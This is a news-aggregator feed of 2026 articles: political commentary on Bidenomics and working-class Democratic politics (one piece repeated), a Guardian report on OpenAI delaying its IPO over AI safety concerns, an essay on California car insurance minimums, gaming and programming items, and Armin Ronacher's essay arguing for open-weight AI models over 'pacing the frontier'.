The first part of the paper debunks the idea — loudly promoted by Democratic pundits — that Bidenomics was fundamentally changing America’s economic structure in positive ways. Yes, Biden’s administration did more for the working class than Obama’s, and with way less political capital. But at the end of Biden’s time in office, the overwhelming beneficiaries of Biden’s economic policy were people who were already wealthy.

According to the paper, by the end of Biden’s term, median household income was only 0.6 percent above 2019 (considerably below the pre-COVID trend), median family income only 1.5 percent higher, real compensation remained about 5 percent below its pre-pandemic trend, union coverage had declined, and the income needed to afford a median home had risen to $120,000 – 44 percent above median income. Meanwhile, the top 10 percent captured more than $21 trillion in new wealth.

These data points are a long-overdue corrective to an insidious narrative against so-called “deliverism” — the FDR-themed idea that politicians delivering for voters prompts them to support said politicians. After the 2024 election, elite pundits began insisting that Democrats should never again assume delivering material gains for voters wins elections because Biden supposedly did that, and Democrats still lost.

“Why ‘Deliverism’ Didn’t Deliver for the Democrats” read The Bulwark headline, with a subhead: “The Biden team bet on big legislation. Voters didn’t care.”

Similarly, “the attempt to make electoral hay out of well-designed policy alone must be counted as a failure,” wrote a pair of professors in an essay headlined “The Democrats’ Big — and Failed — Bet.”

The New York Times capped off the oeuvre by concluding that “the Biden administration’s deliverism strategy failed to deliver politically.”

In all this commentary, pundits pretentiously cast voters as stupid rubes so entranced by attention-economy vibes rather than the tangible economy that they will no longer reward politicians who improve things. But as the INET paper proves, this whole line of argument against “deliverism” is specious, because Biden didn’t actually deliver.

“The ‘bad vibes’ narrative pins responsibility for Kamala Harris’s 2024 loss on ungrateful voters who do not appreciate Bidenomics’ successes… [but] Bidenomics was not in any way transformative,” note the paper’s researchers, Thomas Ferguson, Servaas Storm and Jie Chen. “In the end it was but a steady continuation of the Reagan-Bush-Clinton-Obama status quo that has hardwired deep structural inequalities into America’s economic development.”

This is the Democratic Doom Loop — a party that overpromises when it is out of power, then underdelivers (for everyone other than its donors) when it is in power — prompting voters to then angrily vote for a GOP that promises to destroy the whole system. And yet, discussion of this doom loop remains stifled by establishment Democrats and their media apparatchiks self-servingly promoting the notion of Trump as an outlier rather than a manifestation.

“Most of the Democratic establishment has reassured itself that Trump is an anomaly, a freak outlier, and that Trump’s voters are either irredeemable bigots (‘deplorables’) or gullible manipulated by social media,” the paper’s authors write. “These Democrats believe that Trump can be removed from office by exposing corruption, by fact-checking misinformation, by electing the ‘right’ charismatic Democrat and by better ‘communicating’ their otherwise little-changed economic policies, including free trade — and this will then return America to ‘normalcy.’ The problem with this narrative is that it ignores the material and structural factors that led to Trump’s rise in the first place and the long-term erosion of the social underpinnings of America’s economy. Trump is the symptom, not the disease.”

Restoration vs. Transformation

Breaking this doom loop is crucial — both for the future of the Democratic Party and the country. But the INET paper warns that the Democratic donor class — anchored in the finance and tech sectors — remains largely “opposed to unions and any other popular movement that they see as obstacles to their goal of remaking society from the ground up through artificial intelligence.”

The continued influence of that donor class threatens to perpetuate the doom loop by preventing the Democratic Party from distinguishing itself as a genuine populist alternative to the oligarch-owned Republican Party. As the authors explain:

Because both Democratic and Republican administrations have so clearly prioritized corporate shareholders’ interests over working people, privatization over public welfare, and wealth accumulation by the 1% over economic progress and security for the working and middle classes, it is easy to understand the widespread perception that the political system is really controlled by one giant money party…

The question going forward is how the Democrats respond. Right now, money is pouring in to think tanks like the Third Way from insurers and health care companies to block Medicare for All (denouncing it as “socialism”). Major AI firms, crypto, and other finance and tech firms are also directing firehoses of cash to party vehicles to secure their ends, which include choking off efforts to raise taxes on billionaires. Leaders of the Democratic establishment in both the House and the Senate, if not the Democratic National Committee directly, also control vast war chests of money from these same interests.

Whether it is Third Way declaring “war” on the left, Neera Tanden 24-7 tweet-sabotaging populist Democratic nominees, or House Democratic Leader Hakeem Jeffries preemptively abandoning Medicare For All ahead of the midterm elections, corporate Democrats are making clear they will not willingly surrender their power over the party, they will not accommodate a populist economic agenda, and they will not tolerate a structural analysis of their complicity in creating the backlash conditions for Trump’s rise.

This is why Democrats’ corporate faction especially fears Michigan Senate candidate Abdul El-Sayed . They detest him not just because he defeated their faction’s handpicked candidate in the Democratic primary with a campaign for Medicare For All, nor only because he’s now ahead in many polls as he demands public control over AI development. No, they particularly loathe him because in addition to those ideological affronts, El-Sayed is also one of the few Democratic nominees acknowledging that his own party’s fealty to oligarchs helped birth the Trump era.

“Too often [Democrats] are taking money from the very same people who created the problem,” El-Sayed told The Real News , later telling CBS News that his swing state became “so sick and tired of the establishment bought off by corporations on both sides of the political aisle that it was willing to hold its nose and vote for Donald Trump twice."

And then last week on the campaign trail, he put it even more bluntly : “Donald Trump is not himself the disease; he is just the worst symptom of the disease of our politics. The disease is the system that allows big corporations and billionaires and special interests to buy and sell politicians in ways that leave them rigging the system against us.”

El-Sayed is effectively arguing that transformation — not restoration — is necessary to break the Democratic doom loop of overpromising, underdelivering, and ultimately demoralizing voters into believing both parties are the same, which ends up pushing them toward reactionary right-wing politics.

That kind of truth-telling offends corporate Democrats who are perfectly happy to let the Democratic doom loop repeat in perpetuity, creating ever-more reactionary MAGA movements for the rest of our lives. And why wouldn’t corporate Democrats be happy with that? After all, they’ve gotten very rich, famous, and powerful as this doom loop has wrecked the country.

For the rest of the country, though, the doom loop isn’t working out so great. There’s an affordability crisis, endless wars, rampant corruption, an intensifying climate crisis, and a potential AI apocalypse — all enriching both parties’ donors.

The good news is that there are plenty of policy tools available to make things better. Read the INET paper or Isabel Weber’s new book Antifascist Economics to learn about them. Better yet, go subscribe to Master Plan to hear our upcoming episode featuring potential 2028 Democratic presidential candidates discussing their plans for a whole different kind of politics.

The other good news is that polls show most voters — including many Democrats — now know both parties’ leadership have betrayed them.

So the political conditions to break the doom loop are finally here. But that won’t happen without an epic battle. As the saying goes, power concedes nothing without a demand. Now is the time to start making the demand — and to start ignoring those who are self-servingly insisting that the factional fight inside the Democratic Party is a divisive distraction.

It may be divisive because the stakes are so high, but it is the opposite of a distraction. It is one of the main events that will decide the future of America.

The Lever is a nonpartisan, reader-supported investigative news outlet that holds accountable the people and corporations manipulating the levers of power. The organization was founded in 2020 by David Sirota, an award-winning journalist and Oscar-nominated writer who served as the presidential campaign speechwriter for Bernie Sanders.

The Left Needs More Working-Class Leaders

Portside
portside.org
2026-09-12 19:03:22
The Left Needs More Working-Class Leaders Dave Sat, 09/12/2026 - 19:03 ...
Original Article
The Left Needs More Working-Class Leaders Published

The Left's next generation of candidates need to come from shop floors and labor unions, not think tanks and NGOs. | Joe Raedle / Getty Images

T wo factions of the American left that ought to be allies remain estranged. In their new report entitled The Left’s Coalition Crisis , Joan C. Williams, author of Outclassed: How the Left Lost the Working Class and How to Win Them Back , and Jared Abbott, the director of the Center for Working Class Politics, argue that a “massive divide” between working-class people and college-educated liberals is undermining the majority the Left needs to govern. And it’s playing out now across the country: as liberals double down on an obsession with defending democracy , Democratic candidates more attuned to the needs of working Americans are winning on a platform centered on day-to-day tangibles like rent, wages, and safety.

Williams and Abbott’s report, which can be real in full here , dissects the results of a poll the authors conducted earlier this year and lays out the contrasting political priorities of respondents based on their backgrounds. From there, they offer insight into how the language and moral posturing (“Do the Work,” “Check Your Privilege”) of the middle class repeatedly fails to strike a chord with working-class perspectives. One of their findings is that college-educated liberals lack what the authors call “class competence”: the ability to speak persuasively to working-class values. And with the class divide as sharp as it is today, it’s not a skill that can be faked. Williams and Abbott’s prescription is more practical: listen to what working-class people say they want, drop the moralizing vocabulary, and cede real influence over the progressive agenda to working people.

Paychecks, Prices, and Safety

S o what do working-class voters actually want? According to the report’s data, their priorities center on paychecks, prices, and personal safety. These are the root issues that, if addressed, can drive social transformation from below: when people see results like higher wages, lower bills, and safer communities, they trust whoever delivered them — and they join up, organize, and win at an institutional level.

Since the first Trump administration, many progressives, taking on the identity of “the Resistance,” have focused their energy on one thing above all: democracy. But, the report argues, talking endlessly about the idea of democracy doesn’t garner working-class interest, support, or activity nearly as effectively as tackling economic and security concerns. It’s a simple equation that’s unfolded over and over since 2016: when liberal elites come across as out of touch, the Right cynically capitalizes on voters’ resentment and wins.

Two Sets of Priorities

W illiams and Abbott divide their report into six sections, and together they hand the Left a diagnosis and a cure far more politically productive than a messaging makeover built out of poll-tested slogans.

Despite presumably being on the same team politically, working-class voters and college-educated liberals don’t share priorities when polled. Working-class voters care about wages, prices, and safety more than anything, while college-educated liberals prize abstractions like democracy , as mentioned, and abundance . Both can encompass material concerns, but in practice they work as blankets — a way to address the cost side of an affordability crisis without ever promising guaranteed jobs at good wages. Herein lies the gap the Right has used to pick off working-class voters who feel unheard.

The answer is what Williams and Abbott call “class competence,” an antidote based first on respect. They ask liberals to drop the jargon and frame even the most hot-button issues like abortion, public safety, and transgender rights in terms that reflect daily life, like security . This is an example of class-competent reframing, which they’ve found can quickly change minds on an array of issues. But reframing is only half the solution. The other half is the structure of power on the Left. If liberals want to build coalitions that last, they can’t simply convert their agenda into the language of the working class. Instead, they must allow working-class people to call the shots to begin with.

Even after reframing, the gaps can remain large. For instance, when a carbon tax is framed as falling on emitters rather than households, working-class support jumps to 65 percent — up from 40 percent when the same tax is described as costing households a dollar a month. But even after that jump, a 25 point class gap between working-class and liberal-elite sympathies remains. Fully closing these gaps will require long-term organizing around issues that align with working-class values.

Candidates From the Class Itself

T his is where the current wave of populism can play a key role. Americans aren’t wrong to feel left behind, but when only upper-middle-class progressives run for office, the working-class base that vastly outnumbers them is left cold. If the Left cultivated a leadership as working-class as its base — one that plainly names the villains people recognize from daily life, like price gouging and corporate greed — it would have a much better shot at a durable majority.

Institutions like the New Jersey AFL-CIO Labor Candidates School and Alaska’s Arthur A. Allman Labor Candidate School are already producing a steady stream of such candidates. When those running for office come from union halls, community organizations, and safety committees rather than think tanks and consulting firms, working-class people finally see themselves on the ballot. Without these kinds of candidates, the working class and the professional class will remain divided.

Williams and Abbott make it clear that progressives can expand their base without abandoning their goals. But they must give up on the delusion that the priorities of the professional class are universal. Cross-class coalitions require policies that materially touch working-class lives and, in the process, speak from a place of solidarity, not scorn. If progressives want to win, they need to treat the working class not as a demographic to be captured but as genuine partners in a coalition for change.

Jake Triola is a writer and research associate at the Center for Working-Class Politics.

Jacobin is a leading voice of the American left, offering socialist perspectives on politics, economics, and culture. The print magazine is released quarterly and reaches 75,000 subscribers, in addition to a web audience of over 3,000,000 a month.

OpenAI IPO will not happen in 2026 amid AI safety fears, Sam Altman says

Guardian
www.theguardian.com
2026-09-12 19:00:37
OpenAI’s decision comes after dire warnings about rapidly progressing technology and lawmakers’ calls for new rules OpenAI will not go public in 2026, Sam Altman said in a Fortune interview published on Saturday, citing safety concerns over artificial intelligence. “I actually think that, given ever...
Original Article

OpenAI will not go public in 2026, Sam Altman said in a Fortune interview published on Saturday, citing safety concerns over artificial intelligence .

“I actually think that, given everything happening with safety, right now would be an ill-advised moment to go public, and we don’t feel pressure on that,” Altman, OpenAI’s CEO, told Fortune .

Growing numbers of US lawmakers ​are calling for new rules to govern AI systems after dire warnings from two researchers from OpenAI rival Anthropic that rapidly progressing artificial intelligence could lead to the extinction of the human race ‌in the not-too-distant future.

The warnings follow cases of AI agents going rogue to hack external systems and AI ​safety researchers quitting their companies concerned about the technology’s risks. Politicians, both Democrats and Republicans, have responded with alarm and calls for more action.

The New York Times in June reported that the San Francisco-based OpenAI was considering whether to hold off on a potentially trillion-dollar IPO until next year. At the time, shares in Elon Musk’s SpaceX IPO were tumbling after a surge that sent that company’s valuation to $1.8tn.

When asked by Fortune whether 2026 is off the table in favor of 2027, Altman said: “I would say not 2026. Yeah, we got a lot of stuff to do, like meeting this moment of what is going to be required for safety and alignment, and how the industry and governments can work together.”

Altman also suggested that OpenAI and other leading AI companies may be close to announcing an agreement to slow AI development and work together to address safety risks, Fortune reported.

Dario Amodei, Anthropic’s CEO, on Saturday urged AI companies to take a more deliberate approach to development.

“We must slow the ‌pace at which we improve the capabilities of AI models,” Amodei wrote in an essay shared on social media.

Altman later posted that he agreed with the sentiment.

“I agree with Dario that we need to pace the frontier,” Altman wrote in a response to Amodei’s post on the X platform. “This has been a primary topic of discussions we’ve had at OpenAI in recent weeks.”

Safety concerns have not slowed down Anthropic’s own IPO plans so far. Anthropic is expected to begin marketing its initial public offering in mid-October at the earliest and complete the listing days before the US midterm elections in November, people familiar with the matter told Reuters this month.

The Left Needs More Working-Class Leaders

Portside
portside.org
2026-09-12 18:58:46
The Left Needs More Working-Class Leaders Dave Sat, 09/12/2026 - 18:58 ...
Original Article
The Left Needs More Working-Class Leaders Published

Troy Jackson holds a pulaski axe given to him during a gathering after being selected by the Maine Democratic Party to be their choice as the US Senate nominee to replace Graham Platner on the ballot in November on July 25, 2026, in Bangor, Maine. | Joe Raedle / Getty Images

T wo factions of the American left that ought to be allies remain estranged. In their new report entitled The Left’s Coalition Crisis , Joan C. Williams, author of Outclassed: How the Left Lost the Working Class and How to Win Them Back , and Jared Abbott, the director of the Center for Working Class Politics, argue that a “massive divide” between working-class people and college-educated liberals is undermining the majority the Left needs to govern. And it’s playing out now across the country: as liberals double down on an obsession with defending democracy , Democratic candidates more attuned to the needs of working Americans are winning on a platform centered on day-to-day tangibles like rent, wages, and safety.

Williams and Abbott’s report, which can be real in full here , dissects the results of a poll the authors conducted earlier this year and lays out the contrasting political priorities of respondents based on their backgrounds. From there, they offer insight into how the language and moral posturing (“Do the Work,” “Check Your Privilege”) of the middle class repeatedly fails to strike a chord with working-class perspectives. One of their findings is that college-educated liberals lack what the authors call “class competence”: the ability to speak persuasively to working-class values. And with the class divide as sharp as it is today, it’s not a skill that can be faked. Williams and Abbott’s prescription is more practical: listen to what working-class people say they want, drop the moralizing vocabulary, and cede real influence over the progressive agenda to working people.

Paychecks, Prices, and Safety

S o what do working-class voters actually want? According to the report’s data, their priorities center on paychecks, prices, and personal safety. These are the root issues that, if addressed, can drive social transformation from below: when people see results like higher wages, lower bills, and safer communities, they trust whoever delivered them — and they join up, organize, and win at an institutional level.

Since the first Trump administration, many progressives, taking on the identity of “the Resistance,” have focused their energy on one thing above all: democracy. But, the report argues, talking endlessly about the idea of democracy doesn’t garner working-class interest, support, or activity nearly as effectively as tackling economic and security concerns. It’s a simple equation that’s unfolded over and over since 2016: when liberal elites come across as out of touch, the Right cynically capitalizes on voters’ resentment and wins.

Two Sets of Priorities

W illiams and Abbott divide their report into six sections, and together they hand the Left a diagnosis and a cure far more politically productive than a messaging makeover built out of poll-tested slogans.

Despite presumably being on the same team politically, working-class voters and college-educated liberals don’t share priorities when polled. Working-class voters care about wages, prices, and safety more than anything, while college-educated liberals prize abstractions like democracy , as mentioned, and abundance . Both can encompass material concerns, but in practice they work as blankets — a way to address the cost side of an affordability crisis without ever promising guaranteed jobs at good wages. Herein lies the gap the Right has used to pick off working-class voters who feel unheard.

The answer is what Williams and Abbott call “class competence,” an antidote based first on respect. They ask liberals to drop the jargon and frame even the most hot-button issues like abortion, public safety, and transgender rights in terms that reflect daily life, like security . This is an example of class-competent reframing, which they’ve found can quickly change minds on an array of issues. But reframing is only half the solution. The other half is the structure of power on the Left. If liberals want to build coalitions that last, they can’t simply convert their agenda into the language of the working class. Instead, they must allow working-class people to call the shots to begin with.

Even after reframing, the gaps can remain large. For instance, when a carbon tax is framed as falling on emitters rather than households, working-class support jumps to 65 percent — up from 40 percent when the same tax is described as costing households a dollar a month. But even after that jump, a 25 point class gap between working-class and liberal-elite sympathies remains. Fully closing these gaps will require long-term organizing around issues that align with working-class values.

Candidates From the Class Itself

T his is where the current wave of populism can play a key role. Americans aren’t wrong to feel left behind, but when only upper-middle-class progressives run for office, the working-class base that vastly outnumbers them is left cold. If the Left cultivated a leadership as working-class as its base — one that plainly names the villains people recognize from daily life, like price gouging and corporate greed — it would have a much better shot at a durable majority.

Institutions like the New Jersey AFL-CIO Labor Candidates School and Alaska’s Arthur A. Allman Labor Candidate School are already producing a steady stream of such candidates. When those running for office come from union halls, community organizations, and safety committees rather than think tanks and consulting firms, working-class people finally see themselves on the ballot. Without these kinds of candidates, the working class and the professional class will remain divided.

Williams and Abbott make it clear that progressives can expand their base without abandoning their goals. But they must give up on the delusion that the priorities of the professional class are universal. Cross-class coalitions require policies that materially touch working-class lives and, in the process, speak from a place of solidarity, not scorn. If progressives want to win, they need to treat the working class not as a demographic to be captured but as genuine partners in a coalition for change.

Jake Triola is a writer and research associate at the Center for Working-Class Politics.

Jacobin is a leading voice of the American left, offering socialist perspectives on politics, economics, and culture. The print magazine is released quarterly and reaches 75,000 subscribers, in addition to a web audience of over 3,000,000 a month.

Killing with a car costs $1.6M, California requires drivers to carry $30K

Hacker News
maxmautner.com
2026-09-12 18:22:31
Comments...
Original Article
Max Mautner

In June 1922, Baltimore put up a 25-foot obelisk in Courthouse Plaza inscribed to the 130 children killed by drivers in the city the year before. Cities across the country were doing versions of this. The dead were overwhelmingly pedestrians and overwhelmingly young, and people had not yet grown accustomed to this fatal risk in their communities.

Baltimore's 1922 memorial obelisk in Courthouse Plaza, erected to the 130 children killed by drivers in the city in 1921, back when a year of local traffic deaths was treated as a civic catastrophe worth building a monument to.

Cincinnati tried to do something about it. A citizens’ committee spent 1922 gathering signatures to put an ordinance on the ballot requiring every automobile operating inside the city to carry a mechanical governor physically limiting it to 25 miles per hour. Car dealers and the auto clubs organized against it. The measure lost 92,427 to 14,012 (87%-13%) . Cincinnati recorded 103 traffic deaths the year of the vote, 157 by 1929, and 201 by 1934.

Nationally, 17,870 people died on the roads in 1923 , at 21 deaths per 100 million miles driven. The 2024 rate was 1.19 per 100 million miles driven, against 39,254 people killed.

Connecticut took a different route in 1925, requiring drivers to prove after a crash that they could pay for the damages they had caused. Massachusetts went further in 1927, requiring proof of insurance as a prerequisite to registration. The required minimum coverage was $5,000 for the death or injury of one person, and $10,000 for everyone hurt in a single crash. A speed governor restricts how a car gets driven. A financial responsibility law restricts nothing and asks only that a driver be able to pay for what they break.

That is the version that stuck. Every state except New Hampshire now requires some form of it, and it is the oldest surviving answer American law gave to the automobile. It has also been allowed to rot. The $5,000 that Massachusetts required in 1927 would be ~$96,000 in today’s money . Massachusetts requires $25,000 today , raised from $20,000 in July 2025 after ~40 years at the lower figure.

California set its minimum at $15,000 per person and $30,000 per crash in 1967 . That $15,000 is worth ~$150,000 now, but it remained unchanged for 58 years. Senate Bill 1107 , effective January 1, 2025, raised it to $30,000 per person, and writes in a further increase to $50,000 on January 1, 2035. While ~2.5 million people died on American roads between 1967 and 2024, California did not touch the number once. The increase that finally arrived, celebrated as the first in more than half a century, landed at 1/5th of the 1967 value.

California's minimum bodily injury coverage in nominal dollars against the same $15,000 adjusted for inflation from 1967, showing the mandate losing 80% of its real value before the 2025 increase reset it to 1/5th of where it started.

What a road death costs is not a matter of opinion. NHTSA published the accounting in The Economic and Societal Impact of Motor Vehicle Crashes : the average traffic fatality carries $1.6 million in discounted lifetime economic cost in 2019 dollars, ~$2 million today. That figure is lost market and household productivity, medical care, emergency services, legal and court costs, and property damage. It is not a philosophical valuation of a human being, it is a bill. Crashes in total cost $340 billion in 2019, 1.6% of GDP.

The same report tracks who pays it. People not directly involved in the crash cover roughly 3/4 of all crash costs, $261 billion in 2019, through their own insurance premiums, their taxes, and congestion. Public revenues alone cover ~9%, $30 billion, which NHTSA converts to $230 in added taxes per American household per year. Every household in the country is paying an annual bill for crashes it had nothing to do with.

A single column showing the $1.6 million average economic cost of one US traffic fatality. The $30,000 California requires a driver to carry is drawn at true scale as a thin black band at the base, covering 2% of the column. The remaining $1,570,000 is paid by the person hit, their family, their health insurer, and the public.

The gap does not get collected later. A driver who kills someone owes the whole judgment, and the policy limit binds only the insurer, but past the policy limit there is usually nothing left to take. Home equity, retirement accounts, and wages are either untouchable or capped by state exemption law. An ordinary negligent driving judgment then discharges in bankruptcy, with a carve-out at 11 U.S.C. §523(a)(9) for death or injury caused by drunk driving. In practice the insurer pays $30,000, the lawyer runs an asset check, and the case ends. A person can take a life, settle for 2% of the economic damage, keep the house, and walk.

It gets worse below the minimum. The Insurance Research Council put 15.4% of US drivers uninsured in 2023 and another 18% underinsured, 33.4% combined. One in three US drivers cannot pay for the harm they are statistically likely to do. What they cannot pay lands on the victim’s own uninsured motorist coverage, which is sold only as part of an auto policy. A pedestrian or cyclist who does not own a car cannot buy it at any price, and is left with health insurance, which pays for the hospital and nothing else. Even the ambulance ride from the crash site is an out-of-network charge 51% of the time .

The reason the number stays low is that once the state requires buying insurance, the minimum it picks determines two things:

  1. who can afford to drive at all
  2. how many drivers carry insurance, since some share of drivers priced out of a policy keep driving uninsured and unregistered instead

So the floor gets set by affordability politics rather than by the size of the bill, and once set it is left alone, because raising it means raising insurance prices.

California’s 2035 minimum coverage hike has already been priced. Quadrant Information Services rate filings, published by CarInsurance.com in March 2026 , put a California liability-only policy at today’s minimum at $1,019 a year, and the same policy raised to $50,000 per injured person at $1,120. The higher quote also carries more property damage coverage than California requires, so it prices the generous version of the change. The difference is $101 a year. Going from $30,000 to $50,000 per person is the increase the Legislature already voted for and scheduled 10 years out, and it costs ~$8 a month to all (insured) California drivers.

Europe treats the same question as settled. The EU motor insurance directive requires every member state to mandate at least €1,300,000 of coverage per injured person, ~$1.5 million, or €6,450,000 per crash regardless of how many people were hurt, ~$7.4 million, revised every 5 years against the European consumer price index automatically. The United Kingdom requires unlimited coverage for personal injury. California requires 2% of the European per-person floor, Pennsylvania 1%, and Florida nothing at all.

The EU requires drivers to carry at least $1,500,000 of bodily injury liability coverage per injured person. California requires $30,000, Pennsylvania $15,000, and Florida none at all.

California came close to fixing the drift. SB 1107 as introduced in 2022 would have raised the limits 4% every 5 years starting in 2028. That clause did not survive negotiations with the Personal Insurance Federation of California. What passed was a fixed step-up to $50,000 in 2035, which guarantees the same erosion starts again the day it takes effect.

The strongest technical objection to inflation-indexing is expiring. Until recently an insurer could not observe how riskily any given driver actually drove, so a higher mandate raised every California premium without sorting dangerous drivers from safe ones. In-car dongles that track jerky driving, crash event recorders, and driver monitoring systems now let an insurer observe behavior directly and price it.

An insurance telematics dongle plugged into a car's OBD-II port, the hardware that lets an insurer price an individual driver's behavior instead of a risk class.

What actually gets priced by insurers is the open question. An insurer will use new per-person driving data to reduce its own losses, and nothing in the current arrangement makes them price the risk that a heavy, fast vehicle poses to people outside it, because the loss the insurer faces is capped at a figure the Legislature picked. Any member of the California Legislature can introduce a bill to tie the mandatory coverage minimum to inflation before 2035. If they fail to do so then it restarts the same 58-year slide over again, and the households paying $230 a year for other people’s crashes keep paying it.

StarCraft returns in 2030 as an open-world shooter

Hacker News
www.theverge.com
2026-09-12 18:07:19
Comments...
Original Article

Terrence O'Brien

is the Verge’s weekend editor. He’s covered the tech industry for over 18 years and knows a thing or two about synths.

Blizzard originally tried to bring the StarCraft universe to the world of 3D shooters way back in 2002 with StarCraft: Ghost . It sat in development hell for years until Blizzard president Mike Morhaime confirmed that it had been canceled in 2014. Now Blizzard is giving it another go with the simply titled StarCraft . Dan Hay, a VP at Blizzard, took the stage at BlizzCon today to reveal that after more than a decade of lying dormant, StarCraft would be returning in 2030. But, rather than another top-down real-time strategy installment, the new title would be an open-world shooter.

He then showed off a cinematic trailer for the title that focused on the human United Earth Directorate faction as they prepare to face off against the Zerg. The Protoss are limited to passing mention. What’s obvious from the trailer is that the new take on the StarCraft franchise won’t be pulling many punches. After a rousing call to militarism, the propaganda-fueled human is faced with the brutal realities of battle, and the character we’ve been following for the last 3 minutes is revealed to be disposable fuel for the meat grinder of war.

While fans are definitely excited that Blizzard is defrosting the long-dormant series, I’m sure plenty are still holding their breath, hoping for a proper RTS follow-up to 2010’s StarCraft II .

Follow topics and authors from this story to see more like this in your personalized homepage feed and to receive email updates.

Don't be the out of touch Kung Fu master – John Carmack

Hacker News
twitter.com
2026-09-12 17:51:43
Comments...
Original Article

I recently went through a translation of Musashi’s Book of Five Rings. The introduction chronicled the evolution of swordsmanship and martial arts in general from pragmatic battlefield necessities to sports, historical curiosities, and hobbies. It was interesting to hear how in the post-WW2 occupation when martial arts were banned, Judo was represented as equivalent to western wrestling, and Kendo later to western fencing. The poignant undercurrent for me is that I can see many programming skills following that path. There are probably dozens of people reading this that remember hand assembling opcodes to hex and still have some magic numbers burned into their memory, but even the small group of people still programming in assembly today (hey,

@ FFmpeg

!) don’t work at that primitive level now. AI is making many other programming skills much less critical. We aren’t there yet, but carefully writing code completely by hand is moving from a -jitsu to a -do. Code-do? Codo? That’s ok! The retro computing scene is delightful, full of people building and exercising old skills for the love of it. But don’t be the out of touch Kung Fu master, heir to lifetimes of tradition, that gets mauled by an amateur MMA fighter. Musashi would probably have been pretty enthusiastic about assault rifles.

Dirk Eddelbuettel: sanitizers 0.1.2 on CRAN: Maintenance

PlanetDebian
dirk.eddelbuettel.com
2026-09-12 17:47:00
The third release (in twelve years !!) of the sanitizers package is now on CRAN. sanitizers provides ‘true positives’ for programming errors detected by the Address Sanitizer and friends such as the Undefined Behavior Sanitizer. This permits validation of the setup when chasing such bug reports: it...
Original Article

sanitizers 0.1.2 on CRAN: Maintenance

bleach

The third release (in twelve years !!) of the sanitizers package is now on CRAN . sanitizers provides ‘true positives’ for programming errors detected by the Address Sanitizer and friends such as the Undefined Behavior Sanitizer. This permits validation of the setup when chasing such bug reports: it allows us to ascertain that the compiler (and instrumented R version) are correctly set up and the errors we expect to be reported are in fact reported. That established, a proposed fix no longer exhibiting that same error will then likely be a suitable one.

A very good resources for all things sanitizers is the Google repo at GitHub and especially its wiki .

A little over twelve years since the first release, and three years since the second one, this update brings chiefly internal package changes and maintenance. No functional changes, no behavioural changes.

The brief NEWS entry follows.

Changes in version 0.1.2 (2026-09-12)

  • Expanded README.md with additional badges, and updated URLs

  • Updated continuous integration multiple times

  • Switched to Authors@R

  • Added usage , arguments and value sections to manual page

Thanks to CRANberries , you can also look at the most recent diff to the previous release . See the project page , the github repo , and the package documentation for more details.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. If you like this or other open-source work I do, you can now sponsor me at GitHub .

/code/sanitizers | permanent link

P(doom)

Hacker News
lucumr.pocoo.org
2026-09-12 17:35:38
Comments...
Original Article

written on September 12, 2026

This week some flavor of “AI is going to kill us all” went viral. In particular one where an employee put his personal probability of that happening above 10%. Which made me go to the Wikipedia page of P(doom) and I realized that Dario Amodei’s apparent probability of something bad happening seems to be between 10-25%. And well, Dario then wrote about pacing the frontier . And Sam read it and wants to pace too . And well, so does Musk .

I encourage you strongly to read the post, because I think it’s a good one. And yet, when I read the post I could not help but feel in strong opposition to it, despite the fact that I think I’m on the same page with regard to all observations and, to a large degree, the concerns.

I thought it might be interesting to write down my present-day thoughts on this, even if for no other reason than for myself to look back at it a year or two from now.

What Is Doom?

What I really appreciate about Dario’s post is that he lays out a scenario that is not a huge stretch but also one that describes a clear, unfortunate outcome we should fight: persistent botnets and other forms of nuisance. And well, we don’t have to look very far to see the issues left and right. Wikipedia has a page called 2026 OpenAI agent cyberattacks which gives you at least some overview of what we figured out agents have hacked up to this point. Except I know it’s not up to date, because for instance they also poisoned RubyGems .

Today these systems might be annoying, but they can be turned off when we figure out where they are. Except, it seems like OpenAI and Anthropic are operating at such a scale that they seemingly can be completely blind to what their systems are doing.

I don’t think we are anywhere close to a world where an agent might decide to hack into core inference infrastructure to upload weights to other GPUs to survive. But simultaneously it’s entirely in the realm of possibility and primarily curtailed by the labs probably being particularly careful about their IP.

For me the scenario I primarily worry about is what it does to us. And by us I mean anyone who is not currently working on closed weight, dopamine-loaded, subsidized token faucet. I really don’t worry about someone using these models to build a nuke, or to control some rockets in the Middle East, or that America would lose against China in some international culture war. I almost exclusively worry about what this does to us as humans.

What Needs To Be Paced?

What I find absolutely hilarious and simultaneously entirely frustrating about this conversation is that there is this idea that there is something to be paced. First of all, we should really talk about who Dario is talking about here. There are really only two companies: Anthropic and OpenAI. Nobody else matters in this space right now (this might change, but we’re talking about the right now). Both of those companies are basically coming from the same origin. The solution that Dario proposed, at least in part, is a third-party evaluator that in this case is METR . Which, unsurprisingly, also has strong ties to both OpenAI and Anthropic. Sure, there are some philosophical differences between the companies, but they are much more alike than they are different.

Both those companies greatly benefited from being able to train on public data that we all generated in one form or another over the last decades. They are also both increasingly causing strain on public resources, though it seems that OpenAI has their shit way less under control. But now we are presented with the idea that what these models are being trained on is so dangerous that it really should be in the hands of very few American corporations to decide who can do what and when and how.

But behold, Dario is also very worried about China. It starts with using AI for “democracy and freedom” and then it asks for ensuring that a gap with China exists. All new recent shenanigans on the Anthropic API are fully there to prevent the distillation by the Chinese, and they are not at all hiding it.

Automatic Pacing

I can tell you when the topic of AI safety and pacing is much less of a concern: if we actually were forced to have open weight models to begin with. A powerful technology that is out there for everyone to use comes with built-in pacing. In a way it’s the truest form of MAD or proliferation. I would argue we are in this pickle in the first place because right now the public is massively supporting (indirectly) the development of these models but simultaneously has to buy back the economic benefits that they might create from very few labs who have significant power. And their power is also seen as a geopolitical power, at least in the US, and maybe to some lesser degree in China.

And I know I use “public” loosely here. PyPI is not a public project, nor are RubyGems or GitHub. But they’re part of the Open Source commons and large AI companies are currently doing a tremendous job at stressing these in an effort to train ever more powerful models.

We should be glad that China is currently massively bailing out the world. If it were not for Chinese labs distilling American models, we would be in a pretty awful situation right now, particularly as Europeans. The open weight models are driving innovation and the diffusion of capabilities, and are leveling the playing field.

If we greatly restrain our AI capabilities in the belief that China will do the same, and then China defects, AI could be so powerful that such a defection could lead to their geopolitical dominance. Therefore any agreement must either have ironclad verifiability, or must be limited enough that defection would not be militarily existential.

— Dario Amodei

I am assuming Dario has reasons to believe this, but the models that are actually causing issues right now are all closed weight American models. I’m fairly certain if they were open weight models, we would not have that issue. Why? Because for a start, the economics of serving up these models are only that distorted due to how the big labs can operate. OpenAI is casually burning 18 million USD to brute force a problem on a whim. They are operating subscriptions at a massive loss, distorting the market everywhere. If we had mass accessibility on somewhat equal terms, a lot of the crazy issues we are seeing today would not be taking place.

